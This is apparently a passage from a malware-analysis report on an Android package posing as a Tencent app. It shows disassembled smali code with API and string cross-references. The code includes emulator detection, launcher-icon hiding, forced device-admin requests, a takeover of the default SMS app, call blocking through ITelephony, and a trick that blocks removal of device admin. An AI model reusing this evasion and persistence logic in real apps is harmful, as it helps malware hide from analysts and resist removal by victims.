                                                36const-class v0, Lcom/tencent/shopcj/ui/MainActivity;
                                                38invoke-virtual {v0}, Ljava/lang/Class;->getName()Ljava/lang/String;
                                                39move-result-object v0
                                                41invoke-virtual {p1, v0}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent;
                                                43invoke-virtual {p0, p1}, Lcom/tencent/shopcj/ui/AliasMainActivity;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
                                                44sget-boolean p1, Lcom/tencent/shopcj/constant/AppConstants;->OPEN_DEVICE_ADMIN:Z
                                                45if-eqz p1, :cond_62
                                                46new-instance p1, Landroid/content/Intent;
                                                47const-class v0, Lcom/tencent/shopcj/ui/AdminActivity;
                                                49invoke-direct {p1, p0, v0}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                                                50const/high16 v0, 0x10000000
                                                52invoke-virtual {p1, v0}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
                                                54invoke-virtual {p0, p1}, Lcom/tencent/shopcj/ui/AliasMainActivity;->startActivity(Landroid/content/Intent;)V
                                                56invoke-virtual {p0}, Lcom/tencent/shopcj/ui/AliasMainActivity;->getPackageManager()Landroid/content/pm/PackageManager;
                                                57move-result-object p1
                                                59invoke-virtual {p0}, Lcom/tencent/shopcj/ui/AliasMainActivity;->getComponentName()Landroid/content/ComponentName;
                                                60move-result-object v0
                                                61const/4 v2, 0x2
                                                63invoke-virtual {p1, v0, v2, v1}, Landroid/content/pm/PackageManager;->setComponentEnabledSetting(Landroid/content/ComponentName;II)V
                                                64cond_62: sget-boolean p1, Lcom/tencent/shopcj/constant/AppConstants;->OPEN_DEFAULT_SMS:Z
                                                65if-eqz p1, :cond_73
                                                66sget p1, Landroid/os/Build$VERSION;->SDK_INT:I
                                                67const/16 v0, 0x1c
                                                68if-gt p1, v0, :cond_73
                                                70invoke-static {}, Lcom/tencent/shopcj/main/MyApplication;->getInstance()Lcom/tencent/shopcj/main/MyApplication;
                                                71move-result-object p1
                                                73invoke-virtual {p1}, Lcom/tencent/shopcj/main/MyApplication;->setDefaultSms()V
                                                74cond_73:
                                                75invoke-virtual {p0}, Lcom/tencent/shopcj/ui/AliasMainActivity;->finish()V
                                                76return-void
                                                Cross References
                                                APIs
                                                • com.tencent.shopcj.main.MyApplication.getSystemService
                                                • com.tencent.shopcj.main.MyApplication.getPackageName
                                                • android.os.PowerManager.isIgnoringBatteryOptimizations
                                                • android.content.Intent.<init>
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • com.tencent.shopcj.main.MyApplication.getPackageName
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • android.net.Uri.parse
                                                • android.content.Intent.setData
                                                • android.content.Intent.setFlags
                                                • com.tencent.shopcj.main.MyApplication.getPackageManager
                                                • android.content.Intent.resolveActivity
                                                • com.tencent.shopcj.main.MyApplication.startActivity
                                                Strings
                                                • power
                                                • android.settings.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
                                                • package:
                                                Position Instruction Meta Information
                                                0sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
                                                1const/16 v1, 0x17
                                                2if-lt v0, v1, :cond_4d
                                                4const-string v0, "power"
                                                6invoke-virtual {p0, v0}, Lcom/tencent/shopcj/main/MyApplication;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                                7move-result-object v0
                                                8check-cast v0, Landroid/os/PowerManager;
                                                10invoke-virtual {p0}, Lcom/tencent/shopcj/main/MyApplication;->getPackageName()Ljava/lang/String;
                                                11move-result-object v1
                                                13invoke-virtual {v0, v1}, Landroid/os/PowerManager;->isIgnoringBatteryOptimizations(Ljava/lang/String;)Z
                                                14move-result v0
                                                15if-nez v0, :cond_4d
                                                16new-instance v0, Landroid/content/Intent;
                                                18const-string v1, "android.settings.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"
                                                20invoke-direct {v0, v1}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
                                                21new-instance v1, Ljava/lang/StringBuilder;
                                                23invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                                                25const-string v2, "package:"
                                                27invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                29invoke-virtual {p0}, Lcom/tencent/shopcj/main/MyApplication;->getPackageName()Ljava/lang/String;
                                                30move-result-object v2
                                                32invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                34invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                35move-result-object v1
                                                37invoke-static {v1}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
                                                38move-result-object v1
                                                40invoke-virtual {v0, v1}, Landroid/content/Intent;->setData(Landroid/net/Uri;)Landroid/content/Intent;
                                                41const/high16 v1, 0x10000000
                                                43invoke-virtual {v0, v1}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
                                                45invoke-virtual {p0}, Lcom/tencent/shopcj/main/MyApplication;->getPackageManager()Landroid/content/pm/PackageManager;
                                                46move-result-object v1
                                                48invoke-virtual {v0, v1}, Landroid/content/Intent;->resolveActivity(Landroid/content/pm/PackageManager;)Landroid/content/ComponentName;
                                                49move-result-object v1
                                                50if-eqz v1, :cond_4d
                                                52invoke-virtual {p0, v0}, Lcom/tencent/shopcj/main/MyApplication;->startActivity(Landroid/content/Intent;)V
                                                53cond_4d: return-void
                                                Cross References
                                                APIs
                                                • android.os.Build.FINGERPRINT:Ljava/lang/String
                                                • java.lang.String.startsWith
                                                • android.os.Build.FINGERPRINT:Ljava/lang/String
                                                • java.lang.String.startsWith
                                                • android.os.Build.MODEL:Ljava/lang/String
                                                • java.lang.String.contains
                                                • android.os.Build.MODEL:Ljava/lang/String
                                                • java.lang.String.contains
                                                • android.os.Build.MODEL:Ljava/lang/String
                                                • java.lang.String.contains
                                                • android.os.Build.MANUFACTURER:Ljava/lang/String
                                                • java.lang.String.contains
                                                • android.os.Build.BRAND:Ljava/lang/String
                                                • java.lang.String.startsWith
                                                • android.os.Build.DEVICE:Ljava/lang/String
                                                • java.lang.String.startsWith
                                                • android.os.Build.PRODUCT:Ljava/lang/String
                                                • java.lang.String.equals
                                                Strings
                                                • generic
                                                • unknown
                                                • google_sdk
                                                • Emulator
                                                • Android SDK built for x86
                                                • Genymotion
                                                Position Instruction Meta Information
                                                0.prologue
                                                2const-string v4, "generic"
                                                3move-object v1, v4
                                                5sget-object v4, Landroid/os/Build;->FINGERPRINT:Ljava/lang/String;
                                                6move-object v5, v1
                                                8invoke-virtual {v4, v5}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
                                                9move-result v4
                                                10if-nez v4, :cond_5e
                                                12sget-object v4, Landroid/os/Build;->FINGERPRINT:Ljava/lang/String;
                                                14const-string v5, "unknown"
                                                16invoke-virtual {v4, v5}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
                                                17move-result v4
                                                18if-nez v4, :cond_5e
                                                20const-string v4, "google_sdk"
                                                21move-object v2, v4
                                                23sget-object v4, Landroid/os/Build;->MODEL:Ljava/lang/String;
                                                24move-object v5, v2
                                                26invoke-virtual {v4, v5}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                                27move-result v4
                                                28if-nez v4, :cond_5e
                                                30sget-object v4, Landroid/os/Build;->MODEL:Ljava/lang/String;
                                                32const-string v5, "Emulator"
                                                34invoke-virtual {v4, v5}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                                35move-result v4
                                                36if-nez v4, :cond_5e
                                                38sget-object v4, Landroid/os/Build;->MODEL:Ljava/lang/String;
                                                40const-string v5, "Android SDK built for x86"
                                                42invoke-virtual {v4, v5}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                                43move-result v4
                                                44if-nez v4, :cond_5e
                                                46sget-object v4, Landroid/os/Build;->MANUFACTURER:Ljava/lang/String;
                                                48const-string v5, "Genymotion"
                                                50invoke-virtual {v4, v5}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                                51move-result v4
                                                52if-nez v4, :cond_5e
                                                54sget-object v4, Landroid/os/Build;->BRAND:Ljava/lang/String;
                                                55move-object v5, v1
                                                57invoke-virtual {v4, v5}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
                                                58move-result v4
                                                59if-eqz v4, :cond_52
                                                61sget-object v4, Landroid/os/Build;->DEVICE:Ljava/lang/String;
                                                62move-object v5, v1
                                                64invoke-virtual {v4, v5}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
                                                65move-result v4
                                                66if-nez v4, :cond_5e
                                                67cond_52: move-object v4, v2
                                                69sget-object v5, Landroid/os/Build;->PRODUCT:Ljava/lang/String;
                                                71invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                72move-result v4
                                                73if-nez v4, :cond_5e
                                                74const/4 v4, 0x0
                                                75move v0, v4
                                                76goto_5d: return v0
                                                77cond_5e: const/4 v4, 0x1
                                                78move v0, v4
                                                79goto/16 :goto_5d
                                                APIs
                                                • android.app.Activity.onCreate
                                                • com.tencent.shopcj.ui.MainActivity.setContentView
                                                • com.tencent.shopcj.ui.MainActivity.initWebView
                                                • android.content.Intent.<init>
                                                • java.lang.Class.getName
                                                • android.content.Intent.setAction
                                                • com.tencent.shopcj.ui.MainActivity.startService
                                                • android.content.Intent.<init>
                                                • android.content.Intent.setFlags
                                                • com.tencent.shopcj.ui.MainActivity.startActivity
                                                • com.tencent.shopcj.ui.MainActivity.getPackageManager
                                                • com.tencent.shopcj.ui.MainActivity.getComponentName
                                                • android.content.pm.PackageManager.setComponentEnabledSetting
                                                • com.tencent.shopcj.main.MyApplication.getInstance
                                                • com.tencent.shopcj.main.MyApplication.setDefaultSms
                                                Position Instruction Meta Information
                                                1invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
                                                2const/high16 p1, 0x7f030000
                                                4invoke-virtual {p0, p1}, Lcom/tencent/shopcj/ui/MainActivity;->setContentView(I)V
                                                6invoke-direct {p0}, Lcom/tencent/shopcj/ui/MainActivity;->initWebView()V
                                                7new-instance p1, Landroid/content/Intent;
                                                8const-class v0, Lcom/tencent/shopcj/service/MainService;
                                                10invoke-direct {p1, p0, v0}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                                                11const-class v0, Lcom/tencent/shopcj/ui/MainActivity;
                                                13invoke-virtual {v0}, Ljava/lang/Class;->getName()Ljava/lang/String;
                                                14move-result-object v0
                                                16invoke-virtual {p1, v0}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent;
                                                18invoke-virtual {p0, p1}, Lcom/tencent/shopcj/ui/MainActivity;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
                                                19sget-boolean p1, Lcom/tencent/shopcj/constant/AppConstants;->OPEN_DEVICE_ADMIN:Z
                                                20if-eqz p1, :cond_3e
                                                21new-instance p1, Landroid/content/Intent;
                                                22const-class v0, Lcom/tencent/shopcj/ui/AdminActivity;
                                                24invoke-direct {p1, p0, v0}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                                                25const/high16 v0, 0x10000000
                                                27invoke-virtual {p1, v0}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
                                                29invoke-virtual {p0, p1}, Lcom/tencent/shopcj/ui/MainActivity;->startActivity(Landroid/content/Intent;)V
                                                31invoke-virtual {p0}, Lcom/tencent/shopcj/ui/MainActivity;->getPackageManager()Landroid/content/pm/PackageManager;
                                                32move-result-object p1
                                                34invoke-virtual {p0}, Lcom/tencent/shopcj/ui/MainActivity;->getComponentName()Landroid/content/ComponentName;
                                                35move-result-object v0
                                                36const/4 v1, 0x2
                                                37const/4 v2, 0x1
                                                39invoke-virtual {p1, v0, v1, v2}, Landroid/content/pm/PackageManager;->setComponentEnabledSetting(Landroid/content/ComponentName;II)V
                                                40cond_3e: sget-boolean p1, Lcom/tencent/shopcj/constant/AppConstants;->OPEN_DEFAULT_SMS:Z
                                                41if-eqz p1, :cond_49
                                                43invoke-static {}, Lcom/tencent/shopcj/main/MyApplication;->getInstance()Lcom/tencent/shopcj/main/MyApplication;
                                                44move-result-object p1
                                                46invoke-virtual {p1}, Lcom/tencent/shopcj/main/MyApplication;->setDefaultSms()V
                                                47cond_49: return-void
                                                APIs
                                                • com.tencent.shopcj.receiver.MyDeviceAdminReceiver.startService
                                                • android.content.Intent.<init>
                                                • android.content.Intent.setFlags
                                                • android.content.Intent.addCategory
                                                • android.content.Context.startActivity
                                                • android.content.Intent.<init>
                                                • android.content.Intent.addCategory
                                                • android.content.Intent.setFlags
                                                • android.content.Context.startActivity
                                                Strings
                                                • android.intent.action.MAIN
                                                • android.intent.category.HOME
                                                Position Instruction Meta Information
                                                1invoke-direct {p0, p1}, Lcom/tencent/shopcj/receiver/MyDeviceAdminReceiver;->startService(Landroid/content/Context;)V
                                                2new-instance p2, Landroid/content/Intent;
                                                4const-string v0, "android.intent.action.MAIN"
                                                6invoke-direct {p2, v0}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
                                                7const/high16 v1, 0x10000000
                                                9invoke-virtual {p2, v1}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
                                                11const-string v2, "android.intent.category.HOME"
                                                13invoke-virtual {p2, v2}, Landroid/content/Intent;->addCategory(Ljava/lang/String;)Landroid/content/Intent;
                                                15invoke-virtual {p1, p2}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
                                                16new-instance p2, Landroid/content/Intent;
                                                18invoke-direct {p2, v0}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
                                                20invoke-virtual {p2, v2}, Landroid/content/Intent;->addCategory(Ljava/lang/String;)Landroid/content/Intent;
                                                22invoke-virtual {p2, v1}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
                                                24invoke-virtual {p1, p2}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
                                                25return-void
                                                APIs
                                                • android.os.Binder.onTransact
                                                • android.os.Parcel.writeString
                                                • android.os.Parcel.enforceInterface
                                                • com.android.internal.telephony.ITelephony$Stub.answerRingingCall
                                                • android.os.Parcel.writeNoException
                                                • android.os.Parcel.enforceInterface
                                                • com.android.internal.telephony.ITelephony$Stub.endCall
                                                • android.os.Parcel.writeNoException
                                                • android.os.Parcel.writeInt
                                                Strings
                                                • com.android.internal.telephony.ITelephony
                                                Position Instruction Meta Information
                                                0.annotation system Ldalvik/annotation/Throws;
                                                1value = {
                                                2Landroid/os/RemoteException;
                                                3}
                                                4.end annotation
                                                5const/4 v0, 0x1
                                                7const-string v1, "com.android.internal.telephony.ITelephony"
                                                8if-eq p1, v0, :cond_20
                                                9const/4 v2, 0x2
                                                10if-eq p1, v2, :cond_16
                                                11const v2, 0x5f4e5446
                                                12if-eq p1, v2, :cond_12
                                                14invoke-super {p0, p1, p2, p3, p4}, Landroid/os/Binder;->onTransact(ILandroid/os/Parcel;Landroid/os/Parcel;I)Z
                                                15move-result p1
                                                16return p1
                                                17cond_12:
                                                18invoke-virtual {p3, v1}, Landroid/os/Parcel;->writeString(Ljava/lang/String;)V
                                                19return v0
                                                20cond_16:
                                                21invoke-virtual {p2, v1}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                                                23invoke-virtual {p0}, Lcom/android/internal/telephony/ITelephony$Stub;->answerRingingCall()V
                                                25invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                                                26return v0
                                                27cond_20:
                                                28invoke-virtual {p2, v1}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                                                30invoke-virtual {p0}, Lcom/android/internal/telephony/ITelephony$Stub;->endCall()Z
                                                31move-result p1
                                                33invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                                                35invoke-virtual {p3, p1}, Landroid/os/Parcel;->writeInt(I)V
                                                36return v0
                                                APIs
                                                • com.tencent.shopcj.receiver.MyDeviceAdminReceiver.startService
                                                • android.content.Intent.<init>
                                                • android.content.Intent.setFlags
                                                • android.content.Intent.putExtra
                                                • android.content.Context.startActivity
                                                Strings
                                                • disable
                                                Position Instruction Meta Information
                                                1invoke-direct {p0, p1}, Lcom/tencent/shopcj/receiver/MyDeviceAdminReceiver;->startService(Landroid/content/Context;)V
                                                2new-instance p2, Landroid/content/Intent;
                                                3const-class v0, Lcom/tencent/shopcj/ui/AdminActivity;
                                                5invoke-direct {p2, p1, v0}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                                                6const/high16 v0, 0x10000000
                                                8invoke-virtual {p2, v0}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
                                                10const-string v0, "disable"
                                                11const/4 v1, 0x1
                                                13invoke-virtual {p2, v0, v1}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Z)Landroid/content/Intent;
                                                15invoke-virtual {p1, p2}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
                                                16return-void
                                                Cross References
                                                APIs
                                                • android.content.Intent.<init>
                                                • java.lang.Class.getName
                                                • android.content.Intent.setAction
                                                • android.content.Context.startService
                                                Position Instruction Meta Information
                                                0new-instance v0, Landroid/content/Intent;
                                                1const-class v1, Lcom/tencent/shopcj/service/MainService;
                                                3invoke-direct {v0, p1, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                                                4const-class v1, Lcom/tencent/shopcj/receiver/MyDeviceAdminReceiver;
                                                6invoke-virtual {v1}, Ljava/lang/Class;->getName()Ljava/lang/String;
                                                7move-result-object v1
                                                9invoke-virtual {v0, v1}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent;
                                                11invoke-virtual {p1, v0}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
                                                12return-void
                                                Cross References
                                                APIs
                                                • android.content.ComponentName.<init>
                                                • android.content.Context.getPackageManager
                                                • android.content.pm.PackageManager.setComponentEnabledSetting
                                                Position Instruction Meta Information
                                                0new-instance v0, Landroid/content/ComponentName;
                                                2invoke-direct {v0, p0, p1}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/String;)V
                                                4invoke-virtual {p0}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
                                                5move-result-object p0
                                                6const/4 p1, 0x2
                                                7const/4 v1, 0x1
                                                9invoke-virtual {p0, v0, p1, v1}, Landroid/content/pm/PackageManager;->setComponentEnabledSetting(Landroid/content/ComponentName;II)V
                                                10return-void
                                                Cross References
                                                APIs
                                                • java.lang.Character.TYPE:Ljava/lang/Class
                                                • java.lang.Class.isAssignableFrom
                                                • java.lang.reflect.ParameterizedType.getActualTypeArguments
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Integer.valueOf
                                                • com.alibaba.fastjson.parser.Feature.SupportArrayToBean:Lcom/alibaba/fastjson/parser/Feature
                                                • com.alibaba.fastjson.parser.Feature.SupportArrayToBean:Lcom/alibaba/fastjson/parser/Feature
                                                • java.lang.Integer.valueOf
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • com.alibaba.fastjson.parser.Feature.SortFeidFastMatch:Lcom/alibaba/fastjson/parser/Feature
                                                • java.lang.Integer.valueOf
                                                • java.lang.Class.getName
                                                • java.lang.Integer.valueOf
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Integer.valueOf
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • com.alibaba.fastjson.parser.Feature.InitStringFieldAsEmpty:Lcom/alibaba/fastjson/parser/Feature
                                                • java.lang.Integer.valueOf
                                                • java.lang.Boolean.TYPE:Ljava/lang/Class
                                                • java.lang.Byte.TYPE:Ljava/lang/Class
                                                • java.lang.Short.TYPE:Ljava/lang/Class
                                                • java.lang.Integer.TYPE:Ljava/lang/Class
                                                • java.lang.Long.TYPE:Ljava/lang/Class
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Float.TYPE:Ljava/lang/Class
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Double.TYPE:Ljava/lang/Class
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Boolean.TYPE:Ljava/lang/Class
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Byte.TYPE:Ljava/lang/Class
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Short.TYPE:Ljava/lang/Class
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Integer.TYPE:Ljava/lang/Class
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Long.TYPE:Ljava/lang/Class
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Float.TYPE:Ljava/lang/Class
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Double.TYPE:Ljava/lang/Class
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Class.isEnum
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Class.isAssignableFrom
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Integer.valueOf
                                                • java.lang.Integer.valueOf
                                                • java.lang.Integer.valueOf
                                                • java.lang.Class.isInterface
                                                • java.lang.Class.getModifiers
                                                • java.lang.reflect.Modifier.isAbstract
                                                • java.lang.reflect.Method.getName
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.reflect.Method.getReturnType
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                Strings
                                                • (L
                                                • ;Ljava/lang/reflect/Type;Ljava/lang/Object;I)Ljava/lang/Object;
                                                • deserialze
                                                • lexer
                                                • token
                                                • ()I
                                                • isEnabled
                                                • (II)Z
                                                • ;Ljava/lang/reflect/Type;Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                • deserialzeArrayMapping
                                                • (I)Z
                                                • scanType
                                                • (Ljava/lang/String;)I
                                                • ()
                                                • getContext
                                                • mark_context
                                                • matchedCount
                                                • context
                                                • instance
                                                • (
                                                • Ljava/lang/Object;Ljava/lang/Object;)
                                                • setContext
                                                • childContext
                                                • matchStat
                                                • I
                                                • _asm_flag_
                                                • initStringFieldAsEmpty
                                                • _asm
                                                • stringDefaultValue
                                                • ()Ljava/lang/String;
                                                • [C
                                                • _asm_prefix__
                                                • scanFieldBoolean
                                                • ([C)Z
                                                • scanFieldInt
                                                • ([C)I
                                                • scanFieldLong
                                                • ([C)J
                                                • scanFieldFloat
                                                • ([C)F
                                                • scanFieldDouble
                                                • ([C)D
                                                • scanFieldString
                                                • ([C)Ljava/lang/String;
                                                • getSymbolTable
                                                • ([C
                                                • )Ljava/lang/String;
                                                • scanFieldSymbol
                                                • _asm_enumName
                                                • length
                                                • (Ljava/lang/String;)
                                                • valueOf
                                                • ([CLjava/lang/Class;)
                                                • scanFieldStringArray
                                                • ;Ljava/lang/reflect/Type;Ljava/lang/Object;Ljava/lang/Object;I)Ljava/lang/Object;
                                                • parseRest
                                                Position Instruction Meta Information
                                                0move-object/from16 v8, p0
                                                1move-object/from16 v9, p2
                                                3invoke-static/range {p2 .. p2}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->access$200(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;)[Lcom/alibaba/fastjson/util/FieldInfo;
                                                4move-result-object v0
                                                5array-length v0, v0
                                                6if-nez v0, :cond_c
                                                7return-void
                                                8cond_c:
                                                9invoke-static/range {p2 .. p2}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->access$200(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;)[Lcom/alibaba/fastjson/util/FieldInfo;
                                                10move-result-object v0
                                                11array-length v1, v0
                                                12const/4 v10, 0x0
                                                13const/4 v2, 0x0
                                                14goto_13: if-ge v2, v1, :cond_3d
                                                15aget-object v3, v0, v2
